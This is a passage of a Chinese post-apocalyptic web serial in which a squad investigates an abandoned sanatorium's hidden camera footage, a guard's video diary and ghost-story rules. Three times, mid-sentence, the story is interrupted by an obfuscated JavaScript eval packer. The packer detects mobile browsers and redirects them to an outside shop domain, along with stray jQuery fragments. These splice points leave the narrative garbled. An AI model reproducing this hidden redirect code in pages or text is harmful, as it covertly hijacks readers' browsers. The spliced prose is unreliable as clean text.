银狼抬头,似在筛选这棵树上还有哪些稍微不那么歪瓜裂枣一些的果子值得摘,而林洗练已经开始对着山楂“睹物思乡”——这操蛋的末日世界,就需要吃一串甜甜的糖葫芦分泌大量多巴胺来麻痹一下自己。 “李明岐,咱车上带的调料里有糖吧?” “好像有吧,干嘛?” “山楂和白糖,多么伟大的组合!或许你听说过旧纪元的传统美食糖葫芦吗?” 说起吃大家就来了兴趣,正在商量行进路线的申队和陈一斯也竖起了耳朵想听一段。 虽然现在罐罐统治世界,但人类对口腹之欲的追求大概是刻在基因里的,废土之下处处荒芜,吃不到嘴里听听总可以吧。 “基础版就是酸酸的山楂外裹一层甜脆的冰糖,进阶版是把山楂换成各种时鲜水果,草莓、蜜桔、葡萄,还有山药豆,核桃……爱吃什么就用什么,裹上糖衣,双倍快乐!” 李明岐严重怀疑林洗练祖上不仅是向导还是厨师,什么好吃的都知道。 不过这糖可是贵物,在大市场都和其他调料分开卖,也就是木山杨大方,会给执行重要任务的小队配上一些,糖分方便队员补充能量,遇到紧急情况还可以制作弹药燃料。 林洗练趁李明岐听得认真,伸手薅走了他那两串上个头最大的果子,“正常的山楂起码是这个大小,这棵树上长得也就比樱桃稍大一点,也不知道酸不酸。” 李明岐双手并用把两串山楂塞给林洗练,“都给你做糖葫芦。” 林洗练还没来得及说话,身边的银狼忽然蹬地,攀着较为低矮的树枝一跃,从树梢抓下来个什么东西。 李明岐“啧”了一声,“可以了可以了,知道你跳得高了,都摘这么多了还不够?” 银狼没理他,把手掌摊开,是一个灰绿色的小型设备。 “这是什么?”林洗练凑近了看到镜片,“……摄像头?” “和疗养院的监控设备明显不是一套。”银狼指了指行政楼门口装着的几个监控器,“这个看起来是独立的。” 也得亏银狼眼尖,在层层叠叠的绿叶里看到这个小东西,应该是人为固定在树枝上的,冲着宏树疗养院大门的方向。 李明岐:“有人在监视这里?” 陈一斯接过设备看了看,确定这是一款离线式监控器,“防水,耐高温,充一次电估计能工作半个月,录音加录像,数据全部转入储存卡。” 申队:“这么麻烦,为什么不用能远程控制的摄像头?” “一方面是不好安装,不像这种离线式的,随便扔在那定时打开就能工作,另一方面……”陈一斯顿了一下,“远程设备一旦被发现,就有被反追踪的风险,像宏树疗养院这些监控器,顺着连接很容易就能找到中控。” 所以,安装这个小型摄像头的人既想监视疗养院,又不想被发现,听起来像是侦探或者间谍之类的手段。 陈一斯拆开设备,取出尘封已久的储存卡,“看来它被它的主人遗忘了,能破解数据的话,或许对我们弄清楚疗养院恐怖袭击的真相有帮助。” 这类设备的储存卡多会加密,谨慎一点的,甚至会设定数据自毁程序。 申队接过卡掂了掂,“小事,我们队里可有一个专业黑客。” 于是琢尔领刚着人过来,就接到了新任务,她看了看那张卡,“走运了,我的设备后端留了一个老式接口。” 破解需要点时间,林洗练索性拉着陈不苟一起给山楂除污,大多数果子污染指数都低于20%,也有几颗超过了这个可处理区间,除污设备弹出了“建议弃置”的提示。 “详情加载又失败。”陈不苟斜着敲了敲屏幕,“我还想看看都是什么污染类型呢。” 冷漠的AI声响起,“数据库异常,请前往信号覆盖区进行数据库更新。” “这荒郊野岭的,哪来的信号。”林洗练抛给银狼两颗处理好的山楂,“凑合吃吧。” 李明岐也尝了尝,呲牙咧嘴说好酸。 “多吃几颗都不用喝水了。” 林洗练拉着陈不苟嘀嘀咕咕,“反正你下午留守,没事了就处理处理山楂,我教你啊,把这个柄和芯都去掉,被虫蛀了的就直接扔,洗洗晾干,晚上回来我给你做糖葫芦。” 陈不苟撇撇嘴,“你们都去打怪,我就只能干点这了呗。” “这很重要的!”林洗练爱不释手地扒拉着山楂,“本来就酸,不好好处理的话,就算裹上糖说不定还发苦,你就是糖葫芦的最后一道防线,加油,我相信你!” 陈不苟心情好了点,拿了个容器把山楂归置归置,又跳上树想再摘几串。林洗练让他别摘太多,吃不完。陈不苟觉得吃不完就带回去卖钱,还能补贴家用。 陈一斯一脸“孩子长大了,知道顾家了”的欣慰表情。 琢尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986005|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边破解了储存卡,粗略分析了一遍音像数据,AI只比对到几处异常声画,其他都是很普通的疗养院日常,大门进进出出的都是院区员工。 琢尔:“拍摄时间是2059年6月3日,连拍了十一天,最后是突然黑屏的,不像是没电,应该是设备损坏导致中止的。” 琢尔手动将时间轴拉到第一个异常处,画面里出现一张脸,一个身穿制服的年轻人爬上树朝监控器伸出手,还没等他触到镜头,远处突然晃来一束手电筒亮光,似乎是巡夜的人发现了他,大喊出声:“哎,那边谁啊!” 年轻人表情一变,监控也顾不上了,猛地跳下树,朝反方向跑去。 “这个人。”琢尔按了暂停,“或许就是监控设备的主人。” 大半夜来拆监控,确实可疑。 “是疗养院的保安。”银狼指了指他工作服上的徽章,“内部人员。” “这楼上不就是人力资源部吗?”李明岐抬头示意,“照片都有了,找个员工还不容易?” 确实不太容易,办公室乱得跟轰炸过一样,大家费了点功夫才从被压扭曲的柜子里找到档案。 林洗练:“金谷安保公司,这疗养院的安保还是外包的?” “合同上是签了五年。”陈一斯随手翻了翻,“看这兵荒马乱的架势,也不知道尾款给不给付。” “有了有了。”陈不苟从一沓档案资料中扒拉出一张相似的面孔,“何余,二十四岁,东庆大学毕业,安保风控组编外人员。” “东庆大学?”申队接过资料看了看,“学长啊。” 陈不苟一脸懵,“东庆大学早三十年前就倒闭了吧?” 自然重启摧枯拉朽地颠覆了人类社会的秩序,现在各城区的学校都是联合官方重建的,虽然东庆大学原址确实在第四城区附近,但几十年过去,办学渊源早就中断。 “这你就不知道了吧。”李明岐拍拍陈不苟肩膀,“木山杨这个帮派少说有三十年历史,最早就是一群东庆大学的学生组织在一起末日抢险救灾,现在帮派里还有很多成员的父母是当年东庆的学生,大家都习惯性地称东庆为‘母校’。” “那你血统不纯啊。”林洗练开玩笑,“你是国防学院的。” 李明岐耸肩,“对,我就是‘外姓家奴’,老钟捡回来的编外人员,跟这个何余一样。” 档案显示何余的宿舍在三号楼207房,申队决定去探查一下,如果何余真的在监视疗养院,那他很可能还安装了其他的监视器,私下里也应该持有大量的监控数据。 要是刚好拍到了当年疗养院遭遇的恐怖袭击,那这就是联合官方想要的,能补全旧档案的最有力资料。 申队安排了小队任务,宿舍区楼栋密集,危险性比行政楼高了几个等级,他和银狼快去快回,陈一斯带两个队员去别墅区探路,琢尔和其他人留在行政楼修复监控,暂时先不靠近后面的医疗中心。 “得,这开新地图又没我的份。”陈不苟气鼓鼓的。 林洗练也有点眼巴巴,宿舍别墅,一听就是淘金的好地方,值钱的私人物品肯定都放在栖身之所。 银狼收拾完武器背包,出发的时候被林洗练轻扯了一下衣服,冲他眨眼。 “注意安全。” “……看见好东西,多捡几件回来。” 银狼听话点头。 23. 【规则疗养院】阴宅 何余宿舍真的找到了许多储存卡。 大多是残片,还有一块散架变形的大容量硬盘,就掉落在裸露的阳台边缘,旁边的混凝土墙大片塌陷,应该也是遭遇了轰炸,钢筋枝丫蓬乱,上面叉着一具风化发黑的尸骨,脚边是被余波冲击得乱七八糟的杂物:文件,安保装备,甚至还有餐盘。 银狼勉强辨认出尸体胸前的工号,和何余档案上的一致。 申队猜当初何余应该是想带着储存卡一起跳窗逃生,结果被轰炸直接连人带卡一起掀翻,钢筋刺穿左胸,硬盘也没保住。 “难道当年的恐怖袭击就是轰炸?”林洗练听后发问。 申队:“不一定,也可能是想打击消灭什么,才选择大杀伤的武器进行轰炸清理。” 林洗练:“那么草率?连人都没撤离完?” 陈一斯:“当年那些巨头企业,人命在他们眼中远不如财报上的数字重要。” 申队和银狼把碎片都带了回来,琢尔看了看,说损毁比较严重,只能尽量修复。 银狼还带回了一个东西,一只精心装饰的蝴蝶标本,左半边是上了封胶的湖蓝色翅膀,右半边是机械齿轮拼凑出的轮廓。 “在何余桌子上发现的,旁边有个工具箱,应该是他自己做的,半成品。” 银狼直接将机械蝴蝶递给林洗练,后者两眼放光,思索着集市上有什么商人收,后来想想还是托人去城里卖,这算工艺品,碰上富人或者收藏家肯定能讨个好价钱。 “你们捡什么好东西了?”陈不苟从楼上下来,一眼就看到林洗练手里造型奇特的蝴蝶,“这是旧纪元的工艺品吗。” 林洗练小气兮兮地不让陈不苟碰,“小心点,少说四五十年前的东西了,这封胶说不定一摔就碎。” 陈不苟不服气,扬了扬手里的两张纸,“我也找到了好东西,要不咱俩换着看?” “你刚才半天没人影就是找纸去了?” “你之前不是说在办公室发现一些奇怪的规则吗?我刚才又去翻了翻,扒出这两张。” 林洗练接过看看,一样的马克笔大字,异曲同工的古怪规则: 【本院病人病号服统一为蓝白条纹,没有红色,如果你发现了红白病号服,请立刻离开并上报,不要试图与穿着它的东西交谈。】 【员工食堂每周更新菜谱,请仔细阅读并遵守配餐规则。】 “离谱。”李明岐不知道什么时候凑了过来,探过林洗练的肩膀勾着头看。 “之前有条规则说红色工作服不能交谈,现在红白病号服也不能交谈,怎么的这家医院从医生到病人都哑巴?” “有没有可能只是级别不同,普通员工和管理层不能越级汇报,这医院是外资控股,说不定这员工守则一开始是外文的,翻译成中文时有些失真了。”陈一斯猜测。 陈不苟:“连交谈都不可以?” “也不是没可能。”一旁修复储存卡的琢尔插了句嘴,“当年那些大企业阶层秩序分明,底层员工干到被辞退也许都没和高层领导见过一面。” 李明岐放弃了难以理解的员工守则,注意力转向监控,“琢姐,视频恢复得怎么样了?” “得费点功夫。”琢尔盯着满屏数据,随手拉出一个文件投到分屏上,“从未损毁的部分找到些有趣的东西,来看看?” 一听这话几个脑袋纷纷拱过来,李明岐点了播放,前面一段不稳定的跳帧声画后,屏幕上出现一个年轻男子,坐在镜头前说话: 【“2059年3月4日,今天算是正式入职宏树疗养院,果然还是外包的安保公司好钻空子一些,我被分到了别墅区巡逻组,嗯……不太利于探访调查,后期再看看有什么机会调组吧。” “明天我打算勘察一下地形,争取接下来一周把监控布置好,希望能拍到一些有利的证据,祝我顺利吧。”】 视频结束,众人都有点懵,林洗练不太确定道:“他这是……卧底?” “差不多。”琢尔在屏幕上铺开自己恢复的部分数据,“何余似乎在调查宏树疗养院,硬盘里有很多关于这里的资料,应该都是那个年代从网上搜集的,包括开工新闻,落成仪式之类的。” 申队皱眉,“看来这疗养院确实有问题啊,四十年前就有人在卧底调查?” 李明岐:“不会是查那些怪谈传闻吧?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022118|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他应该是隶属于某个组织。”琢尔根据视频中何余的自述口吻分析。 “录像可能是往上汇报用的,一开始还都正常,今天查了什么,明天要干什么,但是越往后面……”琢尔一顿,投开另一个视频,“你们看这段。” 噪点色块后,何余出现在画面中,神情有些阴郁,录像时不再盯着镜头,眼神四处乱飘,有些自说自话的感觉: 【“2059年6月22日,来宏树三个月了,之前也听过很多这里的灵异传闻,但我从来没当回事……” “昨夜我在医疗中心后面看到了一个穿条纹病号服的人,红白条纹,不,蓝白……或者红白……我没有看清,它抱着一个婴儿,应该是个婴儿……我只是发出了一点点声音,它就发现了!它跑向我,把抱着的东西往我怀里塞,还冲我叫……” “我跑了,甩掉了它,回来才看清自己手上沾了血,干成了一张血皮……它到底塞给我了什么!?” “……值班的时候我偷偷告诉了洪哲先生,他说我是撞了鬼。” “也许他说的是对的……” “宏树疗养院是一座阴宅,白天住活人,夜晚走死人……”】 画面停在何余悚然的眼神,他似乎有些魔怔了,越说越往摄像机前凑,最后整张脸都快贴在镜头上。 李明岐“嘶”了一声,“婴儿?我记得之前周锐说,疗养院周围经常看见死婴。” “对上了啊。”陈不苟默默道,“看来传闻不都是空穴来风。” 琢尔:“任务没结束,我们今晚得在疗养院过夜。” 李明岐:“这儿要真是阴宅,那可刺激了。” “怕什么?”老莫嗤笑,“就算闹鬼也是四五十年前的事了。” “你猜那些被烧死的医生病人,鬼魂能在这飘多少年?”李明岐故意道。 申队打了个手势,怕这俩人又杠起来。一旁的银狼忽然开口:“何余说的洪哲先生,我们应该去找找。” 老莫:“怎么找?” 林洗练明白了银狼的意思,“‘值班遇见了洪哲先生’,何余是别墅区巡逻队的,这个洪哲要么是那的员工,要么是那的‘住户’。” 24. 【规则疗养院】邪性怪谈 陈一斯带着两名队员打头阵,在别墅区外围大致扫了一圈,打掉十几只丧尸,初步确认安全。 将讯息发给申队,两边同步了一下最新线索,大部队开着车过来的时候,陈一斯他们正在别墅区大门前的安保亭里休息。 “这小房间我替你们看过了。”陈一斯翘着椅子坐,随手扔过来一本名册,“这应该是别墅区各位‘业主’的名单,连名字带照片,很旧,不知道是不是事发前正在使用的,实在不行这儿还有电脑,让琢尔抢救一下?” 琢尔看看那被轰碎一半的机器,“才疏学浅,救不了。” “还有一个破笔记本。”陈一斯敲了敲封面,“里面发现了几条新的员工守则。” 申队接过看了看,笔记本破旧缺页,字迹模糊,勉强能分辨出几行字: 【别墅区接待高级顾客,他们大多温和有礼,如果你发现有人脾气古怪,请立刻离开并上报,避免与他们交谈。】 【本院医护人员专业且有耐心,如果你发现有人业务生疏或脾气暴躁,请立刻离开并上报,避免与他们交谈。】 【本院有且仅有一个大门,如果你发现其他出入口,请勿靠近。】 “又是什么稀奇古怪的规则。”申队随手扔给队员,“先带着吧。” 林洗练去翻那本名册,艰难辨认着上面模糊污渍的字迹和照片,“有一个洪姓开头的名字,后面看不清是个‘哲’还是‘誓’。” “这名字重合概率不高,”银狼道,“值得试试。” 林洗练:“五区十二号,在后排,得往深了走了。” 别墅区内有水有桥有树有花,俨然一幅度假村的样子,没什么被困的丧尸,根据之前在财务部看到的合同,来这里休假疗养的大都是大公司里的高级员工,轰炸前肯定是疗养院的重点撤离对象。 虽然没丧尸,但这里绿化不错,多有变异生物流窜出没。 李明岐一枪打死一只的皮肤溃烂的丧尸犬,顺脚把尸体踢到角落里,回身跳入一栋别墅,进门遛了一圈又从窗户翻出来,跟上大部队。 “这儿的人撤离得可真干净,房子里什么值钱玩意儿都没剩下。” 老莫“啊”了一声:“我还想着这入住的都是高端人士,至少得随身带点奢侈品吧。” “旧纪元的奢侈品在城里可是紧俏货,富人们的心头好。” 自然重启让各行各业都受到重创,那之后人类拼了命发展重工业自救,顾不上的轻工业难免大幅退化。 李明岐又翻了几栋别墅,情况都差不多,一直到众人抵达五区,变异生物渐渐少了,林洗练数着门牌号找到十二,推门进去,房子里乱成一团。 “鞋子、衣服、过期食品、打翻的咖啡污渍……看来这位洪先生撤离得很匆忙嘛。”陈一斯四处转悠。 “嗯?他电脑没带走。”李明岐已经摸到了卧室,毫不客气地翻箱倒柜。 琢尔一听“电脑”眼睛就亮了,上前检查了一番,“设备还行,我研究一下。” “您那储存卡还得修复呢可别忘了。”申队提醒道。 12号别墅的整体状态不错,小队决定在这扎个驻点,银狼、陈一斯、申队各带几人去周围别墅摸排,找找线索淘淘金。 琢尔留守,十指在拟态键盘上敲得飞快。 林洗练跟着银狼走,两人运气一般,挑了个离得近的别墅结果扑空了,“住户”撤得干干净净,只剩餐桌上两三盘已经风化得看不出形态的食物。 第二次运气还行,撞上一个撤离匆忙的,别墅内杂物满地,林洗练在衣帽间找到两块男士手表,应该都是旧纪元的大牌货,一块损毁严重,另一块虽然不走了,但好在外观是没什么大问题的。 林洗练:“听说有些倒腾旧纪元奢侈品的‘古董商’会修表,要是修好了,应该能卖个好价钱。” 银狼去书房转了一圈,捡了两本保存还算完好的书籍。林洗练扫了一眼说他眼光好,“小说在民间出手快,专业书官方给价高,其他类型就没什么市场了,咱们运气不错。” 道上流传一种说法,能从野外带书回来的都是狠人,因为这玩意儿又厚又重,随身携带很不方便,危险时刻说不定还要拖慢你的脚步。 不过像银狼这样战力的大约是不在乎的,随手塞进背包,跟着林洗练离开了别墅。 折腾了一天,小队在太阳落山时终于消停下来。申队和陈一斯在客厅清点战利品,李明岐和陈不苟一边准备罐罐,一边催着林洗练做糖葫芦。 溜门撬锁了一下午的林洗练懒得炫技,想了想还是打算做个糖炒山楂,对火候要求没有那么高,一通翻炒搅拌基本不会翻车。 事实证明林洗练想多了,翻炒搅拌的活也不用她自己干,一开始是被银狼接手了,陈不苟和李明岐眼睛看会后,也抢着想试试。 “看着点,山楂裹满白沙就可以了。” “知道了知道了。” 卸了活的林洗练拉着银狼一块吃晚饭。今天没有烤兔子了,只能老老实实吃罐罐,二楼的阳台望出去景色不错,夜幕之下,只有小队在别墅前拉起的防护网和探测装置时不时闪一瞬微弱的光。 “你说联合官方为什么对疗养院荒废的真相感兴趣?”林洗练坐在椅子上晃着腿,手里的勺子捣着罐罐,“半个世纪前的事了,就算调查出来又有什么用呢?” “补全旧纪元档案。”银狼回答,“有些事情发生了,即便末日来临也不代表放弃追责。” “那还能找到负责人吗?别说这疗养院了,就是背后的投资公司,也早在自然重启时就破产了吧。” “资产势力不会消失,往往是打碎重组,融合成为一个新的巨头。” 自然重启之后新晋的财团不少,林洗练知道的,那个造全污染处理器的海崎核业算一个。 有人说他们发家不正,赚的是天灾财,可谁也无法否认,现今的人类社会离不开海崎的除污技术。 “旧档案更多是把柄性质。”银狼分析道:“资本势力不可告人的过去,或许有一天是遏制他们无限扩张的有力武器。” 只有三大地区这般规模的官方才有能力去探寻那些陈年真相,其他零散的区域性势力,大多还挣扎在求生线上。 林洗练眨了眨眼,忽然凑近,“你怎么知道这么清楚?” “我们队伍以前接过类似的任务。”银狼坦然,“陈一斯也知道这些,可能是因为这样才会选择加入这次行动。” “你记忆恢复了?” 银狼摇摇头,“一点点,很模糊。” “慢慢来嘛。”林洗练轻拍他的肩膀,“是个好兆头。” 楼下陈不苟喊山楂炒好了,让林洗练来验收。李明岐两三步窜到二楼,“我说半天没看见你呢,躲这了?” 糖炒山楂量不多,毕竟糖是战略性物资,一锅炒出来每人也就分个两三颗。 陈不苟吃完还想要,陈一斯“大方”地用一颗山楂球换他回去拖一个月地板。 琢尔边啃山楂边跟大家分享她的电子成果,“我用AI分析声画,锁定关键音‘洪哲’,显然何余还有录像提到他,不过后来,何余说这位洪先生疯了。” 【“2059年5月18日,今天洪哲先生和安保人员起冲突了,我和队长赶到时,两人正扭打在一起。” “洪哲先生看起来斯斯文文的,打架居然那么狠,那个保安的鼻梁都被捶断了,队长连忙让我把人送到医务室。” “我本想找洪哲先生聊聊,可等我回去,队长说已经处理好了,洪哲先生因为工作压力大才情绪暴躁的,不然也不会来这里休假疗养了。” “之前洪哲先生跟我说过他们公司,金融行业的巨头,他手下有很多客户,每年到手的奖金怕是能买一栋疗养院里这种小别墅。” “说的有点多了……可能因为我之前从洪哲先生那听来了许多关于宏树疗养院的传闻,他最近不怎么出门了,我好像一下断了消息来源一样……”】 视频到这里结束了,林洗练往后拖了拖,退回何余最后一句话,“他从洪哲那听来传闻?洪哲怎么对宏树那么有研究?” “洪哲似乎很关注宏树的……小道消息。”琢尔调出洪哲电脑里恢复出的文件,“他调查了一起宏树的火灾,搜集了不少网络上的流言和新闻。” “火灾?”陈一斯想起自己之前跟周锐的调查,“就是那个病人发疯,搞大屠杀还放火的案子?” “不清楚。”琢尔放大内容,“官方新闻只说疗养院失火,并没有提及病人或者屠杀,但是洪哲收集小道消息似乎暗指有人蓄意纵火。” 李明岐从窗户望出去,“合着这地方还是灾后重建的?” “重建后就开始有灵异传闻了。”琢尔点点屏幕,“这个洪哲好像对疗养院的各种鬼故事感兴趣,在网上搜了很多,你们看他的浏览记录。” “阴阳医院——宏树多起失踪案始末。” “卖尸配冥婚,医院变‘阴院’。” “宏树疗养院诡异火灾,官方通报意外,职工声称……” “声称什么?后面没有了?”李明岐划拉屏幕企图点开链接。 琢尔:“这地方又没网络,只能在浏览记录里凑合看个标题,再说自然重启之后旧网崩坏,就算能连上,说不好这些新闻还在不在。” 陈一斯:“不是说洪哲疯了吗?怎么回事?” “何余挺关注洪哲的,5月18日后还有几段录像提到了他,内容大同小异,都是洪哲跟别人吵架,起冲突。” 琢尔在屏幕上同时投出几段视频,声音被快速转为文字,“比较特别的是这一段,何余说他在巡逻的时候碰到了洪哲,洪哲说有人要害他,他房间里有个不干净的东西,白天睡觉,晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022573|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就睁着眼在床边盯着他。” 陈不苟听得慎得慌,“什么东西?” 琢尔摇摇头,“根本没这东西,何余说他和巡逻搭档一起检查了洪哲所住的别墅,翻了个底朝天,什么也没有。” 陈一斯,“所以他觉得洪哲疯了?” “这还不至于。”琢尔指了指另一段录像,“5月29日,何余在别墅区大门口撞见洪哲,后者正被几个武装安保人员按在地上,据说是袭击医生,现场见了血。” 视频画面上何余举着一个手机,上面播放着洪哲被几个人扭住胳膊按倒的录像,不远处倒着一个穿白蓝色工作服的人,地上有疑似血液的暗红痕迹。 洪哲疯狂挣扎,脸都憋红了,嘶吼着让人放开他,一双手骨骼嶙峋,拼死往外抓。 “等等。”林洗练指了指洪哲的胳膊,“能放大这里吗?好像有图案。” “我看看。”琢尔处理了清晰度,将这一帧单独提出来,“不是图案,是字。” ——逃出宏树。 洪哲胳膊上赫然刻着这四个大字。 陈不苟:“这个伤疤血淋淋的,看起来像刻上刚刻上没多久?” “不对。”陈一斯皱眉,指了指图片,“字体边缘有一圈痂皮,看这个伤口和走势,更像是愈合了,又被强行重新划开,加重刻痕。” 视频继续播放,何余指着手机画面: 【“出事的时候我不在场,我搭档在,还偷偷录了像,院方禁止此事外传,我费了好大劲才问他要来这段视频。 他觉得是大公司的高压工作把洪哲先生逼疯了,听说金融行业经常有硬性指标要完成,说实话之前我也经常见洪哲先生抱着手机电脑处理工作,说是在解决什么诉讼问题,休假期间压力还这么大,也许真的是被工作逼疯的吧。”】 李明岐:“那后来洪哲怎么样了?心态修养好,继续回去上班?” “不知道。”琢尔继续对着电脑忙活,“目前恢复出来的文件就这么多。” 鬼气森森的疗养院,压榨人的金融公司,房间里不存在的瞪眼人,还有身体上重复刻写的“血书”。 林洗练:“得,这还是个连载故事。” 申队探头,开始催促一干网瘾少年洗洗就寝,“本想用沙发椅子多凑几张床的,但这些家具都镶死在地上了,那就抽签决定谁睡床谁睡地板啊,值夜顺序还按昨天的来。” 李明岐:“固定死的?这疗养院这么抠门,还怕住户偷家具啊?” 李明岐倒霉抽中了地板,不甘心地指着书房问自己能不能睡那,好歹有个躺椅。 老莫:“行啊,只要你不介意屋里那个鬼娃娃。” “鬼娃娃?” 林洗练跟着李明岐过去看了看,书房的书架角落里摆了一个人手那么大的娃娃,通体青灰,绘满红纹,双目翻白,表情诡异。 陈不苟也伸着头看,还想上手摸,“旧纪元的洋娃娃造型都这么前卫吗?” 林洗练拍开他的手,“什么东西你就乱碰。” “不能碰吗?”陈不苟听话收回手,“这是不是那个洪哲的东西?你看它面前还摆了香炉蜡烛,是在祭拜吗?” 老莫走过来,“我刚才来搬躺椅的时候发现这玩意儿,一开始没打手电吓我一跳,它的眼睛是微微发光的,模糊照出一张脸的轮廓,你要是不嫌弃膈应人,就跟它住一个屋吧。” 发光的?林洗脸凑近看了看,“夜明珠吗?这养小鬼还挺下血本。” “养小鬼?”陈不苟好奇,“什么东西?” “你就理解为一种不值得提倡的封建迷信,黑化版求神拜佛。” “养小鬼你也知道?”李明岐又一次惊叹于林洗脸知识体系的复杂程度,“我只在地下市场淘来的小破书上看到过一两句。” 陈不苟和李明岐两脸好奇,门外状似各忙各的队友们又都竖起一只耳朵,林洗练措了措辞,指着娃娃道,“养小鬼的人相信这种娃娃是用婴儿尸体炼成的,他们会找‘大师’做法,引入死去孩子的亡魂,做成一种叫古曼童的东西供奉,如果不诚心或坏了规矩,小鬼还可能会反噬饲主。” 李明岐:“这么邪性?” “所以我劝你还是睡地板。”林洗练道,“虽然封建迷信不提倡,但是没必要为了一张躺椅就冒着半夜起来上厕所冷不丁被鬼脸吓癔症的风险。” 陈不苟摸摸胳膊,卖可怜,“越说越瘆人了,我半夜上厕所可不可以把你叫醒陪我一起去啊?” “少来。”林洗练拆台,“刚才谁上手就想摸来着?在店里的时候你就天天窝在柜台后面看恐怖电影,还要讲给我听,胆子不知道多大。” “电影和现实总是有区别的吗。”陈不苟嘀咕。 “这个洪哲神神叨叨的,电脑里一堆鬼故事,书架上养个鬼娃娃,我现在觉得他住的房子都有点邪门。” 25. 【规则疗养院】床下血书 2059年4月29日。 洪哲坐在别墅小院门口,和最近认识的一个保安小伙子聊天。 “你听说过阴宅吗?” 何余摇摇头,“洪先生,你好像特别喜欢研究这些灵异的东西。” “宁可信其有不可信其无,科学触碰不到的地方,我们还是保留一点意见比较好。” “好吧,那阴宅是什么,闹鬼的宅子吗?” “准确的说,是住死人的宅子。”洪哲神秘道,“我听说,宏树疗养院就是一座阴宅,白天住活人,晚上活人睡着了,死人就开始活动了。” “所以宏树疗养院才那么多闹鬼传闻吗?”何余顺着他的话说。 “你也听过?” “听到一些关于几年前火灾的传闻,网上说不是意外。” “当然不是意外。”洪哲嗤笑,“火灾跟一场屠杀相关,当年是有照片流传网络的,后来被宏树背后的公司全部公关掉了。” “可是洪先生,如果真如您所说,阴宅晚上有死人活动,那我们这些夜间也要排班巡逻的保安怎么会一个都没见过呢?” “你怎么知道没人见过?”洪哲挑眉。 “是院方不允许说出来罢了,就像那些不成文的‘宏树疗养院行为准则’,你入院的时候也有被告知吧?” 何余愣了一下,点点头。 “红色制服的医生,红白条纹服的病人……你以为说的是谁?就是那些在火灾中死去的医生和病人,传闻你如果在午夜碰到了他们,并与他们四目对视,这些鬼魂便会问你一个问题。” “什么问题?” “你同情那些被活活困死在火灾里的病人吗?” “当然同情。” “不不不不。”洪哲连连摆手,“要小心你的回答,如果同情他们,那些游荡的‘病人’会生生把你拖进火场,把你烧得不成人形,再替你套上医生的白大褂,等血染红了衣服,你就要永远留在医院照顾那些你同情的病人。” 何余咽了口唾沫,“这么说,应该回答不同情?” “也要小心,你会被那些烧死的医生带走,既然你不觉得病人有什么可同情的,那他们就要你也切身感受一下,你会被套上束缚衣,绑在手术台上进行脑叶白质切除手术,等你再恢复意识,早已不记得自己的来处。” 洪哲抬头,看了看远方西沉的落日,又拍了拍何余的肩膀。 “你很幸运,到现在为止还没有遇到什么怪事,但如果有一天你误入‘阴院’,一定要严格遵守行为准则,否则,你可能永远都回不到真正的宏树疗养院了。” - 林洗练是被一阵砸门声吵醒的。 她捂着头从地上坐起来,只觉得脑子里一阵恍惚。 等等,地上? 昨晚大家剪刀石头布,她和陈一斯明明赢了睡床的资格啊? 林洗练睁开眼,这是一个陌生阴暗的房间,天花板上闪着一个光杆灯泡,墙壁上布满斑驳的发霉痕迹,角落里有张床,看起来很久没有被使用过了。 非要说的话,这像一个牢房。 砸门声又一次嘭得炸开,林洗练条件反射一激灵,手往后撑的时候按到了一个软软的东西,吓得她无声一叫,手脚并用往旁边挪。 那“东西”被她按了一下也动了动,林洗练定睛一看,居然是陈一斯。 “老板?醒醒醒醒,咱俩是不是……梦游了?” 陈一斯看起来精神不太好,跟林洗练一样恍惚了一阵才清醒过来。 “这是哪?我们昨晚不是在别墅吗?” 砸门声还在继续,甚至变成了暴躁的踹。那是一扇铁门,上面有一块布满灰尘小窗,电子锁半坏不坏,物理锁锈迹斑斑,没撑两秒直接被剧烈的撞击给冲飞了。 陈一斯猛得跳起,本能冲上前,烟尘中有些看不清来人的面容,抬腿就是一脚。 踹门之人稳稳接住,陈一斯凑近了才发现这是个熟人。 “队长?” 陈一斯惊得一跳,差点没站稳摔地上。 银狼放开手中的脚踝,直挺挺冲向林洗练,视线从上到下扫视,抽陀螺似的把人翻过来转过去地看。 “诶诶,脑浆摇匀了……” 门口又走进一个人,李明岐抬手挥挥空气中的灰尘,“巧啊,你们俩也在。” 陈一斯刚才那一踢有点扭到跨,做了两下伸展运动:“这是哪?睡了一觉我们瞬移了?” 李明岐:“不清楚,我们也是刚醒,银狼火急火燎就冲出房间了,我还以为他要干什么,原来是找你们。” 林洗练被晃得快看见月亮了才被银狼放开,她也回敬似的上下打量了下银狼,总感觉有些不对劲。 陈一斯:“只有我们,还是大家都被传送来了?” 